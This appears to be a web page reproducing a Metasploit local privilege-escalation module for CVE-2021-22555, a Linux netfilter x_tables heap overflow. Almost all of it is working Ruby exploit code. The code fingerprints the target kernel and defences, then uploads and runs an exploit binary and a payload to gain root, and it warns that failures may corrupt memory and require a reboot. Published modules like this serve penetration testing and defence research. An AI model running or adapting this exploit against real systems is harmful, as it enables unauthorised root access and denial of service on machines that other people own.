Authored by Brendan Coles, Andy Nguyen, Szymon Janusz | Site metasploit.com

A heap out-of-bounds write affecting Linux since version 2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a denial of service (via heap memory corruption) through user name space. Kernels up to and including 5.11 are vulnerable.

advisories | CVE-2021-22555

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Common
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netfilter x_tables Heap OOB Write Privilege Escalation',
'Description' => %q{
A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c.
This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space.
Kernels up to 5.11 (including) are vulnerable.
More information about vulnerable kernels is
available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea
},
'License' => MSF_LICENSE,
'Author' => [
'Andy Nguyen ([email protected])', # The original author of this exploit
'Szymon Janusz', # The author of this module
'bcoles' # Updated the C source code to provide more targets
],
'DisclosureDate' => '2021-07-07', # YYYY-DD-MM. Public disclosure date
'Platform' => 'linux',
'Arch' => [ ARCH_X64 ],
'SessionTypes' => ['meterpreter', 'shell'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ UNRELIABLE_SESSION ], # The module could fail to get root sometimes.
'Stability' => [ OS_RESOURCE_LOSS ], # After too many failed attempts, the system needs to be restarted.
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'References' => [
['CVE', '2021-22555'],
['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555'],
['URL', 'https://ubuntu.com/security/CVE-2021-22555']
]
)
)

register_options(
[
OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/var/tmp']),
OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 10])
]
)
end

def base_dir
datastore['WritableDir'].to_s
end

def cmd_timeout
datastore['CmdTimeout'].to_i
end

def get_external_source_code(cve, file)
file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")
::File.binread(file_path)
end

def strip_comments(c_code)
c_code.gsub(%r{/*.*?*/}m, '').gsub(%r{^s*//.*$}, '')
end

def check
unless kernel_modules.include? 'ip_tables'
vprint_warning('The ip_tables module is not loaded.')
return CheckCode::Safe('The ip_tables module is not loaded.')
end

return CheckCode::Safe('LKRG is installed.') if lkrg_installed?
return CheckCode::Safe('grsecurity is in use') if grsec_installed?

release = kernel_release
version = "#{release} #{kernel_version.split(' ').first}"
ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels[] = {(.+?)};/m).flatten.first
ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
if ubuntu_kernels.empty?
fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
end
return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version

# Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels.
# Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length.
minimum_msgmni = 4096
msgmni_path = '/proc/sys/kernel/msgmni'
return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path)

msgmni = read_file(msgmni_path).to_i
if msgmni >= minimum_msgmni
return CheckCode::Appears("Target is running kernel release #{release}.")
else
return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.")
end
end

def upload_exploit_binary
executable_name = rand_text_alphanumeric(5..10)
@executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx(@executable_path, exploit_data('CVE-2021-22555', 'ubuntu.elf'))
register_file_for_cleanup(@executable_path)
end

def upload_payload_binary
payload_name = rand_text_alphanumeric(5..10)
@payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx(@payload_path, generate_payload_exe)
register_file_for_cleanup(@payload_path)
end

def run_payload
response = cmd_exec(@executable_path, @payload_path, cmd_timeout)
vprint_status(response)
if response =~ /No space left on device/
# After too many failed attempts, the system needs to be restarted.
fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.')
elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/
fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')
elsif response =~ /system is not using an Ubuntu kernel/
fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')
elsif response =~ /not recognized/
fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.')
end
print_status('Payload executed!')
end

def exploit
fail_with(Failure::BadConfig, "#{base_dir} is not writable.") if !writable?(base_dir)

print_status('Dropping pre-compiled binaries to system...')
upload_exploit_binary
print_status('Uploading payload...')
upload_payload_binary
print_status('Running payload on remote system...')
run_payload
end
end